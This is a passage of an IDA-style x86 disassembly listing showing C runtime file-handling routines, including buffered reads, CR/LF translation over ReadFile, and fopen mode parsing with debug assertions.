		push	ecx
		call	sub_4272F0
		add	esp, 0Ch
		mov	edx, [ebp+var_4]
		mov	[edx+4], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4271EB
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+4], 0FFFFFFFFh
		jnz	short loc_42721B

loc_4271EB:				; CODE XREF: sub_427100+E0j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		or	edx, eax
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_4272DD
; ---------------------------------------------------------------------------

loc_42721B:				; CODE XREF: sub_427100+E9j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 82h
		test	eax, eax
		jnz	short loc_427281
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+10h], 0FFFFFFFFh
		jz	short loc_427256
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		sar	eax, 5
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+10h]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4F3780[eax*4]
		add	eax, edx
		mov	[ebp+var_8], eax
		jmp	short loc_42725D
; ---------------------------------------------------------------------------

loc_427256:				; CODE XREF: sub_427100+131j
		mov	[ebp+var_8], offset dword_454450

loc_42725D:				; CODE XREF: sub_427100+154j
		mov	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx+4]
		and	edx, 82h
		cmp	edx, 82h
		jnz	short loc_427281
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		or	ch, 20h
		mov	edx, [ebp+var_4]
		mov	[edx+0Ch], ecx

loc_427281:				; CODE XREF: sub_427100+128j
					; sub_427100+170j
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+18h], 200h
		jnz	short loc_4272B4
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 8
		test	edx, edx
		jz	short loc_4272B4
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 400h
		test	ecx, ecx
		jnz	short loc_4272B4
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+18h], 1000h

loc_4272B4:				; CODE XREF: sub_427100+18Bj
					; sub_427100+198j ...
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx+4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		movsx	eax, byte ptr [ecx]
		and	eax, 0FFh
		mov	edx, [ebp+var_4]
		mov	ecx, [edx]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx], ecx

loc_4272DD:				; CODE XREF: sub_427100+58j
					; sub_427100+7Bj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_427100	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4272F0	proc near		; CODE XREF: sub_41E1C0+118p
					; sub_427100+CBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4F3880
		jnb	short loc_427321
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4F3780[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42733C

loc_427321:				; CODE XREF: sub_4272F0+Dj
		call	sub_429A90
		mov	dword ptr [eax], 9
		call	sub_429AA0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_42736E
; ---------------------------------------------------------------------------

loc_42733C:				; CODE XREF: sub_4272F0+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_431070
		add	esp, 4
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_427380
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_431100
		add	esp, 4
		mov	eax, [ebp+var_4]

loc_42736E:				; CODE XREF: sub_4272F0+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_4272F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427380	proc near		; CODE XREF: sub_4272F0+64p
					; sub_4314E0+42Fp

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_18], 0
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_4273BB
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4F3780[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_4273C2

loc_4273BB:				; CODE XREF: sub_427380+17j
		xor	eax, eax
		jmp	loc_4277C1
; ---------------------------------------------------------------------------

loc_4273C2:				; CODE XREF: sub_427380+39j
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4F3780[edx*4]
		movsx	edx, byte ptr [ecx+eax+4]
		and	edx, 48h
		test	edx, edx
		jz	short loc_427459
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4F3780[eax*4]
		movsx	eax, byte ptr [edx+ecx+5]
		cmp	eax, 0Ah
		jz	short loc_427459
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4F3780[ecx*4]
		mov	ecx, [ebp+var_14]
		mov	dl, [eax+edx+5]
		mov	[ecx], dl
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_18]
		add	ecx, 1
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		mov	[ebp+arg_8], edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4F3780[eax*4]
		mov	byte ptr [edx+ecx+5], 0Ah

loc_427459:				; CODE XREF: sub_427380+62j
					; sub_427380+82j
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4F3780[eax*4]
		mov	eax, [edx+ecx]
		push	eax
		call	dword_4F53BC	; ReadFile
		test	eax, eax
		jnz	short loc_4274D8
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 5
		jnz	short loc_4274B7
		call	sub_429A90
		mov	dword ptr [eax], 9
		call	sub_429AA0
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_4277C1
; ---------------------------------------------------------------------------

loc_4274B7:				; CODE XREF: sub_427380+118j
		cmp	[ebp+var_8], 6Dh
		jnz	short loc_4274C4
		xor	eax, eax
		jmp	loc_4277C1
; ---------------------------------------------------------------------------

loc_4274C4:				; CODE XREF: sub_427380+13Bj
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_4299F0
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_4277C1
; ---------------------------------------------------------------------------

loc_4274D8:				; CODE XREF: sub_427380+109j
		mov	eax, [ebp+var_18]
		add	eax, [ebp+var_10]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4F3780[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 80h
		test	ecx, ecx
		jz	loc_4277BE
		cmp	[ebp+var_10], 0
		jz	short loc_427554
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 0Ah
		jnz	short loc_427554
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4F3780[ecx*4]
		mov	cl, [eax+edx+4]
		or	cl, 4
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, dword_4F3780[edx*4]
		mov	[edx+eax+4], cl
		jmp	short loc_42758A
; ---------------------------------------------------------------------------

loc_427554:				; CODE XREF: sub_427380+18Ej
					; sub_427380+199j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4F3780[eax*4]
		mov	al, [edx+ecx+4]
		and	al, 0FBh
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	ecx, dword_4F3780[ecx*4]
		mov	[ecx+edx+4], al

loc_42758A:				; CODE XREF: sub_427380+1D2j
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax

loc_427596:				; CODE XREF: sub_427380:loc_4277B0j
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_18]
		cmp	[ebp+var_4], ecx
		jnb	loc_4277B5
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 1Ah
		jnz	short loc_42760E
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4F3780[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 40h
		test	ecx, ecx
		jnz	short loc_427609
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4F3780[edx*4]
		mov	dl, [ecx+eax+4]
		or	dl, 2
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	eax, dword_4F3780[eax*4]
		mov	[eax+ecx+4], dl

loc_427609:				; CODE XREF: sub_427380+250j
		jmp	loc_4277B5
; ---------------------------------------------------------------------------

loc_42760E:				; CODE XREF: sub_427380+22Ej
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 0Dh
		jz	short loc_42763A
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	loc_4277B0
; ---------------------------------------------------------------------------

loc_42763A:				; CODE XREF: sub_427380+297j
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax+edx-1]
		cmp	[ebp+var_4], ecx
		jnb	short loc_427690
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 0Ah
		jnz	short loc_42766F
		mov	ecx, [ebp+var_4]
		add	ecx, 2
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	0Ah
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_42768B
; ---------------------------------------------------------------------------

loc_42766F:				; CODE XREF: sub_427380+2D3j
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx

loc_42768B:				; CODE XREF: sub_427380+2EDj
		jmp	loc_4277B0
; ---------------------------------------------------------------------------

loc_427690:				; CODE XREF: sub_427380+2C7j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], 0
		push	0
		lea	ecx, [ebp+var_10]
		push	ecx
		push	1
		lea	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4F3780[eax*4]
		mov	eax, [edx+ecx]
		push	eax
		call	dword_4F53BC	; ReadFile
		test	eax, eax
		jnz	short loc_4276D9
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	[ebp+var_8], eax

loc_4276D9:				; CODE XREF: sub_427380+34Ej
		cmp	[ebp+var_8], 0
		jnz	short loc_4276E5
		cmp	[ebp+var_10], 0
		jnz	short loc_4276F9

loc_4276E5:				; CODE XREF: sub_427380+35Dj
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx],	0Dh
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx
		jmp	loc_4277B0
; ---------------------------------------------------------------------------

loc_4276F9:				; CODE XREF: sub_427380+363j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4F3780[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 48h
		test	eax, eax
		jz	short loc_427763
		movsx	ecx, [ebp+var_1C]
		cmp	ecx, 0Ah
		jnz	short loc_427735
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	0Ah
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_427761
; ---------------------------------------------------------------------------

loc_427735:				; CODE XREF: sub_427380+3A2j
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx],	0Dh
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4F3780[eax*4]
		mov	al, [ebp+var_1C]
		mov	[edx+ecx+5], al

loc_427761:				; CODE XREF: sub_427380+3B3j
		jmp	short loc_4277B0
; ---------------------------------------------------------------------------

loc_427763:				; CODE XREF: sub_427380+399j
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+arg_4]
		jnz	short loc_427785
		movsx	edx, [ebp+var_1C]
		cmp	edx, 0Ah
		jnz	short loc_427785
		mov	eax, [ebp+var_C]
		mov	byte ptr [eax],	0Ah
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		jmp	short loc_4277B0
; ---------------------------------------------------------------------------

loc_427785:				; CODE XREF: sub_427380+3E9j
					; sub_427380+3F2j
		push	1
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42E570
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		movsx	eax, [ebp+var_1C]
		cmp	eax, 0Ah
		jz	short loc_4277B0
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx],	0Dh
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx

loc_4277B0:				; CODE XREF: sub_427380+2B5j
					; sub_427380:loc_42768Bj ...
		jmp	loc_427596
; ---------------------------------------------------------------------------

loc_4277B5:				; CODE XREF: sub_427380+21Fj
					; sub_427380:loc_427609j
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+arg_4]
		mov	[ebp+var_18], eax

loc_4277BE:				; CODE XREF: sub_427380+184j
		mov	eax, [ebp+var_18]

loc_4277C1:				; CODE XREF: sub_427380+3Dj
					; sub_427380+132j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_427380	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4277D0	proc near		; CODE XREF: sub_41E390+DBp

var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_4F3610
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], 0
		mov	[ebp+var_10], 0

loc_4277EF:				; CODE XREF: sub_4277D0+47j
		cmp	[ebp+arg_0], 0
		jnz	short loc_427813
		push	offset aFilenameNull ; "filename != NULL"
		push	0
		push	47h
		push	offset a_open_c	; "_open.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_427813
		int	3		; Trap to Debugger

loc_427813:				; CODE XREF: sub_4277D0+23j
					; sub_4277D0+40j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_4277EF

loc_427819:				; CODE XREF: sub_4277D0+71j
		cmp	[ebp+arg_4], 0
		jnz	short loc_42783D
		push	offset aModeNull ; "mode != NULL"
		push	0
		push	48h
		push	offset a_open_c	; "_open.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42783D
		int	3		; Trap to Debugger

loc_42783D:				; CODE XREF: sub_4277D0+4Dj
					; sub_4277D0+6Aj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_427819

loc_427843:				; CODE XREF: sub_4277D0+9Bj
		cmp	[ebp+arg_C], 0
		jnz	short loc_427867
		push	offset dword_43C514
		push	0
		push	49h
		push	offset a_open_c	; "_open.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_427867
		int	3		; Trap to Debugger

loc_427867:				; CODE XREF: sub_4277D0+77j
					; sub_4277D0+94j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_427843
		mov	ecx, [ebp+arg_4]
		mov	dl, [ecx]
		mov	[ebp+var_20], dl
		cmp	[ebp+var_20], 61h
		jz	short loc_4278AC
		cmp	[ebp+var_20], 72h
		jz	short loc_427889
		cmp	[ebp+var_20], 77h
		jz	short loc_42789A
		jmp	short loc_4278BE
; ---------------------------------------------------------------------------

loc_427889:				; CODE XREF: sub_4277D0+AFj
		mov	[ebp+var_14], 0
		mov	eax, [ebp+var_1C]
		or	al, 1
		mov	[ebp+var_1C], eax
		jmp	short loc_4278C5
; ---------------------------------------------------------------------------

loc_42789A:				; CODE XREF: sub_4277D0+B5j
		mov	[ebp+var_14], 301h
		mov	ecx, [ebp+var_1C]
		or	ecx, 2
		mov	[ebp+var_1C], ecx
		jmp	short loc_4278C5
; ---------------------------------------------------------------------------

loc_4278AC:				; CODE XREF: sub_4277D0+A9j
		mov	[ebp+var_14], 109h
		mov	edx, [ebp+var_1C]
		or	edx, 2
		mov	[ebp+var_1C], edx
		jmp	short loc_4278C5
; ---------------------------------------------------------------------------

loc_4278BE:				; CODE XREF: sub_4277D0+B7j
		xor	eax, eax
		jmp	loc_427AE6
; ---------------------------------------------------------------------------

loc_4278C5:				; CODE XREF: sub_4277D0+C8j
					; sub_4277D0+DAj ...
		mov	[ebp+var_4], 1

loc_4278CC:				; CODE XREF: sub_4277D0:loc_427A6Aj
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	loc_427A6F
		cmp	[ebp+var_4], 0
		jz	loc_427A6F
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_24]
		sub	edx, 2Bh
		mov	[ebp+var_24], edx
		cmp	[ebp+var_24], 49h
		ja	loc_427A63
		mov	ecx, [ebp+var_24]
		xor	eax, eax
		mov	al, byte_427B15[ecx]
		jmp	off_427AED[eax*4]

loc_42791B:				; DATA XREF: .packed:off_427AEDo
		mov	edx, [ebp+var_14]
		and	edx, 2
		test	edx, edx
		jz	short loc_42792E
		mov	[ebp+var_4], 0
		jmp	short loc_427950
; ---------------------------------------------------------------------------

loc_42792E:				; CODE XREF: sub_4277D0+153j
		mov	eax, [ebp+var_14]
		or	al, 2
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_14]
		and	ecx, 0FFFFFFFEh
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_1C]
		or	dl, 80h
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		and	al, 0FCh
		mov	[ebp+var_1C], eax

loc_427950:				; CODE XREF: sub_4277D0+15Cj
		jmp	loc_427A6A
; ---------------------------------------------------------------------------

loc_427955:				; CODE XREF: sub_4277D0+144j
					; DATA XREF: .packed:00427B01o
		mov	ecx, [ebp+var_14]
		and	ecx, 0C000h
		test	ecx, ecx
		jz	short loc_42796B
		mov	[ebp+var_4], 0
		jmp	short loc_427974
; ---------------------------------------------------------------------------

loc_42796B:				; CODE XREF: sub_4277D0+190j
		mov	edx, [ebp+var_14]
		or	dh, 80h
		mov	[ebp+var_14], edx

loc_427974:				; CODE XREF: sub_4277D0+199j
		jmp	loc_427A6A
; ---------------------------------------------------------------------------

loc_427979:				; CODE XREF: sub_4277D0+144j
					; DATA XREF: .packed:00427B0Do
		mov	eax, [ebp+var_14]
		and	eax, 0C000h
		test	eax, eax
		jz	short loc_42798E
		mov	[ebp+var_4], 0
		jmp	short loc_427997
; ---------------------------------------------------------------------------

loc_42798E:				; CODE XREF: sub_4277D0+1B3j
		mov	ecx, [ebp+var_14]
		or	ch, 40h
		mov	[ebp+var_14], ecx

loc_427997:				; CODE XREF: sub_4277D0+1BCj
		jmp	loc_427A6A
; ---------------------------------------------------------------------------

loc_42799C:				; CODE XREF: sub_4277D0+144j
					; DATA XREF: .packed:00427B05o
		cmp	[ebp+var_18], 0
		jz	short loc_4279AB
		mov	[ebp+var_4], 0
		jmp	short loc_4279BB
; ---------------------------------------------------------------------------

loc_4279AB:				; CODE XREF: sub_4277D0+1D0j
		mov	[ebp+var_18], 1
		mov	edx, [ebp+var_1C]
		or	dh, 40h
		mov	[ebp+var_1C], edx

loc_4279BB:				; CODE XREF: sub_4277D0+1D9j
		jmp	loc_427A6A
; ---------------------------------------------------------------------------

loc_4279C0:				; CODE XREF: sub_4277D0+144j
					; DATA XREF: .packed:00427B09o
		cmp	[ebp+var_18], 0
		jz	short loc_4279CF
		mov	[ebp+var_4], 0
		jmp	short loc_4279DF
; ---------------------------------------------------------------------------

loc_4279CF:				; CODE XREF: sub_4277D0+1F4j
		mov	[ebp+var_18], 1
		mov	eax, [ebp+var_1C]
		and	ah, 0BFh
		mov	[ebp+var_1C], eax

loc_4279DF:				; CODE XREF: sub_4277D0+1FDj
		jmp	loc_427A6A
; ---------------------------------------------------------------------------

loc_4279E4:				; CODE XREF: sub_4277D0+144j
					; DATA XREF: .packed:00427AF9o
		cmp	[ebp+var_10], 0
		jz	short loc_4279F3
		mov	[ebp+var_4], 0
		jmp	short loc_427A03
; ---------------------------------------------------------------------------

loc_4279F3:				; CODE XREF: sub_4277D0+218j
		mov	[ebp+var_10], 1
		mov	ecx, [ebp+var_14]
		or	ecx, 20h
		mov	[ebp+var_14], ecx

loc_427A03:				; CODE XREF: sub_4277D0+221j
		jmp	short loc_427A6A
; ---------------------------------------------------------------------------

loc_427A05:				; CODE XREF: sub_4277D0+144j
					; DATA XREF: .packed:00427AF5o
		cmp	[ebp+var_10], 0
		jz	short loc_427A14
		mov	[ebp+var_4], 0
		jmp	short loc_427A24
; ---------------------------------------------------------------------------

loc_427A14:				; CODE XREF: sub_4277D0+239j
		mov	[ebp+var_10], 1
		mov	edx, [ebp+var_14]
		or	edx, 10h
		mov	[ebp+var_14], edx

loc_427A24:				; CODE XREF: sub_4277D0+242j
		jmp	short loc_427A6A
; ---------------------------------------------------------------------------

loc_427A26:				; CODE XREF: sub_4277D0+144j
					; DATA XREF: .packed:00427AFDo
		mov	eax, [ebp+var_14]
		and	eax, 1000h
		test	eax, eax
		jz	short loc_427A3B
		mov	[ebp+var_4], 0
		jmp	short loc_427A44
; ---------------------------------------------------------------------------

loc_427A3B:				; CODE XREF: sub_4277D0+260j
		mov	ecx, [ebp+var_14]
		or	ch, 10h
		mov	[ebp+var_14], ecx

loc_427A44:				; CODE XREF: sub_4277D0+269j
		jmp	short loc_427A6A
; ---------------------------------------------------------------------------

loc_427A46:				; CODE XREF: sub_4277D0+144j
					; DATA XREF: .packed:00427AF1o
		mov	edx, [ebp+var_14]
		and	edx, 40h
		test	edx, edx
		jz	short loc_427A59
		mov	[ebp+var_4], 0
		jmp	short loc_427A61
; ---------------------------------------------------------------------------

loc_427A59:				; CODE XREF: sub_4277D0+27Ej
		mov	eax, [ebp+var_14]
		or	al, 40h
		mov	[ebp+var_14], eax

loc_427A61:				; CODE XREF: sub_4277D0+287j
		jmp	short loc_427A6A
; ---------------------------------------------------------------------------

loc_427A63:				; CODE XREF: sub_4277D0+133j
					; sub_4277D0+144j
					; DATA XREF: ...
		mov	[ebp+var_4], 0

loc_427A6A:				; CODE XREF: sub_4277D0:loc_427950j
					; sub_4277D0:loc_427974j ...
		jmp	loc_4278CC
; ---------------------------------------------------------------------------

loc_427A6F:				; CODE XREF: sub_4277D0+10Dj
					; sub_4277D0+117j
		push	1A4h
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4314E0
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jge	short loc_427A95
		xor	eax, eax
		jmp	short loc_427AE6
; ---------------------------------------------------------------------------

loc_427A95:				; CODE XREF: sub_4277D0+2BFj
		mov	ecx, dword_4F342C
		add	ecx, 1
		mov	dword_4F342C, ecx
		mov	edx, [ebp+arg_C]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_1C]
		mov	[eax+0Ch], ecx
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+4], 0
		mov	eax, [ebp+var_C]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_C]
		mov	dword ptr [ecx+8], 0
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+1Ch], 0
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax+10h], ecx
		mov	eax, [ebp+var_C]

loc_427AE6:				; CODE XREF: sub_4277D0+F0j
					; sub_4277D0+2C3j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4277D0	endp

; ---------------------------------------------------------------------------
off_427AED	dd offset loc_42791B	; DATA XREF: sub_4277D0+144r
		dd offset loc_427A46
		dd offset loc_427A05
		dd offset loc_4279E4
		dd offset loc_427A26
		dd offset loc_427955
		dd offset loc_42799C
		dd offset loc_4279C0
		dd offset loc_427979
		dd offset loc_427A63
byte_427B15	db 0			; DATA XREF: sub_4277D0+13Er
		dw 909h
		dd 5 dup(9090909h), 9010909h, 3	dup(9090909h), 9040302h
		dd 3 dup(9090909h), 9090605h, 2	dup(9090909h), 9090907h
		dd 0CC080909h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427B60	proc near		; CODE XREF: sub_41E390+B9p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		push	2
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_4], 0
		jmp	short loc_427B89
; ---------------------------------------------------------------------------

loc_427B80:				; CODE XREF: sub_427B60+A8j
					; sub_427B60:loc_427C89j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_427B89:				; CODE XREF: sub_427B60+1Ej
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4F4AE0
		jge	loc_427C8E
		mov	edx, [ebp+var_4]
		mov	eax, dword_4F3AD4
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_427C1F
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4F3AD4
		mov	eax, [edx+ecx*4]
		mov	ecx, [eax+0Ch]
		and	ecx, 83h
		test	ecx, ecx
